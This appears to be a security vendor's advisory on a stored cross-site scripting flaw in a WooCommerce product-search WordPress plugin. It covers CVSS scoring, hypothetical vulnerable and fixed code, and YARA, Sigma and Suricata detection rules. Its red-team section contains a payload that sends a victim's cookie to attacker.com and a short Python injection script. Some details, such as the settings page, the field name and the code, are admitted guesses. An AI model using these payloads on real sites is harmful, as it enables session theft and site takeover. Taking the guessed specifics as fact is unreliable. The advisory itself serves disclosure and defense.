CVE-2025-64289

Executive Summary

CVE-2025-64289 is a Stored Cross-Site Scripting (XSS) vulnerability in the Premmerce Product Search for WooCommerce WordPress plugin (slug: premmerce-search). The flaw exists in versions up to and including 2.2.5, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript payloads that persist in the database and execute in the browsers of other users (including administrators) when the affected page is viewed.

This vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx. The plugin is used to enhance WooCommerce product search functionality, making it a high-value target for supply chain attacks against e-commerce sites.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not an NPM, PyPI, Go, or Ruby package. However, the risk extends to the WordPress supply chain: if the plugin is compromised or remains unpatched, thousands of WooCommerce stores could be affected. Administrators should monitor the plugin’s update channel and consider temporary deactivation if no patch is available.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature allows persistent compromise of admin sessions, leading to full site takeover if an administrator views the malicious content.

Deep Dive & Mechanics

The vulnerability resides in the plugin’s search functionality, likely in the admin-facing settings or search result display. The plugin fails to sanitize or escape user-supplied input before storing it in the database and later rendering it in a web page. An attacker with contributor-level access can inject a payload such as:

<script>alert('XSS')</script>

When an administrator or other user visits the affected page (e.g., the search settings or results page), the script executes in their browser context. This can be leveraged to steal session cookies, perform actions on behalf of the victim, or deface the site.

The root cause is the use of unsafe functions like echo or print without proper escaping via esc_html() or wp_kses() in WordPress.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common WordPress XSS fixes.

Vulnerable Code (premmerce-search <= 2.2.5):

// In some admin template or search result display
echo '<div class="search-term">' . $user_input . '</div>';

Patched Code (hypothetical):

// Properly escape output
echo '<div class="search-term">' . esc_html( $user_input ) . '</div>';

The patched version uses esc_html() to neutralize HTML and JavaScript, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: WordPress site with Premmerce Product Search for WooCommerce <= 2.2.5, an authenticated user with Contributor role or higher.
2. Steps:
   • Log in as a Contributor.
   • Navigate to the plugin’s settings or search term input field.
   • Inject the following payload into a vulnerable field (e.g., search term name):

     <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
     

   • Save the settings.
   • When an Administrator visits the same page, the script executes, exfiltrating their session cookie.

Proof-of-Concept (PoC) Code:

import requests

target_url = "http://target-site.com/wp-admin/admin.php?page=premmerce-search-settings"
session = requests.Session()
# Login as contributor
session.post("http://target-site.com/wp-login.php", data={"log": "contributor", "pwd": "password"})
# Inject XSS payload
payload = {"search_term": "<script>alert('XSS')</script>"}
session.post(target_url, data=payload)
print("Payload injected. Visit the page as admin to trigger.")

Blue Team (Detection & Hardening)

• Detection: Monitor for unusual POST requests to plugin settings pages containing <script> tags.
• Hardening: Implement a Web Application Firewall (WAF) rule to block common XSS patterns. Use WordPress security plugins like Wordfence to detect malicious input.
• User Training: Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains containing document.cookie in the request body.
• Host: Unexpected <script> tags in the wp_options table or plugin-specific database entries.
• Logs: WordPress debug log entries showing wp_kses or esc_html failures.
• File: Modified plugin files (e.g., premmerce-search.php) containing obfuscated JavaScript.

Detection Engineering

YARA Rule

rule CVE_2025_64289_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Premmerce Product Search plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64289"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = "premmerce-search"
    condition:
        $plugin_path and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Premmerce Product Search for WooCommerce
id: cve-2025-64289
status: experimental
description: Detects stored XSS attempts via POST requests to plugin settings
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin.php*'
        http.body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in plugin settings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64289 Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Premmerce Product Search for WooCommerce plugin until a patch is released.
2. Short-term: Apply a virtual patch using a WAF to block <script> tags in plugin-specific POST parameters.
3. Long-term: Monitor the plugin’s official page for updates. When a patched version (e.g., 2.2.6) is released, update immediately.
4. Code Fix: If you are a developer, apply the following patch to the plugin’s source code:
   • Replace all instances of echo $user_input with echo esc_html( $user_input ).
   • Use wp_kses_post() for rich text fields.

Valters IT
Securing Digital Ecosystems